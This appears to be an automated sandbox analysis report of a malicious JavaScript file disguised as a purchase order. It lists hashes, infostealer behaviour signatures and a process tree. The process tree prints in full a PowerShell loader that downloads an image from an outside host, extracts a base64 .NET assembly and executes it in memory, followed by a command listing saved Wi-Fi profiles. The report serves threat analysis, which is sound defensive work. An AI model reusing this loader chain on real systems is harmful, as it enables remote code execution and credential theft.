Analysis

  • max time kernel
    61s
  • max time network
    141s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-03-2024 07:59

General

  • Target

    PURCHASE_ORDER.js

  • Size

    16KB

  • MD5

    5173d26d1ad641d21a4e46578c8ce893

  • SHA1

    93fa6b081e5ef1b262b2497be0ec7ec8be766c20

  • SHA256

    e8c22513e962d944212a2570a29a43fd2e6e90d74913f5db2b5f11443504db1d

  • SHA512

    8df3b7d0c5b41675eaae029688c1cf964d58b66c558e16a528d143c3559d60dfcf4da5c44cb7b112a9123e7dc49e460e99cf862f6b743e1691804f78b89b349c

  • SSDEEP

    192:P42HOwZ0qshWZ7Va6uadY7Va630PpMx2GjdJZu8HheVkiVUT:P42HO+0ApuPEP+28M8HheWz

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PURCHASE_ORDER.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:4492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.4848/541.93.321.39//:ptth' , 'desativado' , 'C:\Windows\Temp\' , 'File_Name_JS'))}}
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2376
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:2228
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2868
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            5⤵
              PID:1192
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              5⤵
                PID:4352
              • C:\Windows\SysWOW64\findstr.exe
                findstr All
                5⤵
                  PID:4524
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1360

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wifec0er.tc0.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2228-91-0x00000000071A0000-0x0000000007746000-memory.dmp

          Filesize

          5.6MB

        • memory/2228-42-0x0000000006720000-0x00000000068E2000-memory.dmp

          Filesize

          1.8MB

        • memory/2228-93-0x00000000747E0000-0x0000000074F91000-memory.dmp

          Filesize

          7.7MB

        • memory/2228-92-0x0000000006AF0000-0x0000000006B82000-memory.dmp

          Filesize

          584KB

        • memory/2228-96-0x00000000747E0000-0x0000000074F91000-memory.dmp

          Filesize

          7.7MB

        • memory/2228-35-0x0000000005370000-0x0000000005380000-memory.dmp

          Filesize

          64KB

        • memory/2228-65-0x0000000006330000-0x00000000063A6000-memory.dmp

          Filesize

          472KB

        • memory/2228-94-0x0000000007750000-0x0000000007C7C000-memory.dmp

          Filesize

          5.2MB

        • memory/2228-38-0x0000000006150000-0x0000000006162000-memory.dmp

          Filesize

          72KB

        • memory/2228-37-0x0000000005B60000-0x0000000005BC6000-memory.dmp

          Filesize

          408KB

        • memory/2228-28-0x0000000000400000-0x000000000041A000-memory.dmp

          Filesize

          104KB

        • memory/2228-36-0x0000000005900000-0x00000000059E6000-memory.dmp

          Filesize

          920KB

        • memory/2228-33-0x0000000000400000-0x000000000041A000-memory.dmp

          Filesize

          104KB

        • memory/2228-34-0x00000000747E0000-0x0000000074F91000-memory.dmp

          Filesize

          7.7MB

        • memory/2376-23-0x00007FFBF5D70000-0x00007FFBF6832000-memory.dmp

          Filesize

          10.8MB

        • memory/2376-31-0x00007FFBF5D70000-0x00007FFBF6832000-memory.dmp

          Filesize

          10.8MB

        • memory/2376-27-0x000001B790000000-0x000001B79054C000-memory.dmp

          Filesize

          5.3MB

        • memory/2376-26-0x000001B7D3290000-0x000001B7D32A0000-memory.dmp

          Filesize

          64KB

        • memory/2376-25-0x000001B7D3290000-0x000001B7D32A0000-memory.dmp

          Filesize

          64KB

        • memory/2376-24-0x000001B7D3290000-0x000001B7D32A0000-memory.dmp

          Filesize

          64KB

        • memory/2376-22-0x000001B7EB970000-0x000001B7EB992000-memory.dmp

          Filesize

          136KB

        • memory/4492-9-0x00007FFBF7730000-0x00007FFBF80D1000-memory.dmp

          Filesize

          9.6MB

        • memory/4492-13-0x00007FFBF7730000-0x00007FFBF80D1000-memory.dmp

          Filesize

          9.6MB

        • memory/4492-11-0x00007FFBF7730000-0x00007FFBF80D1000-memory.dmp

          Filesize

          9.6MB

        • memory/4492-10-0x0000011CB67F0000-0x0000011CB6800000-memory.dmp

          Filesize

          64KB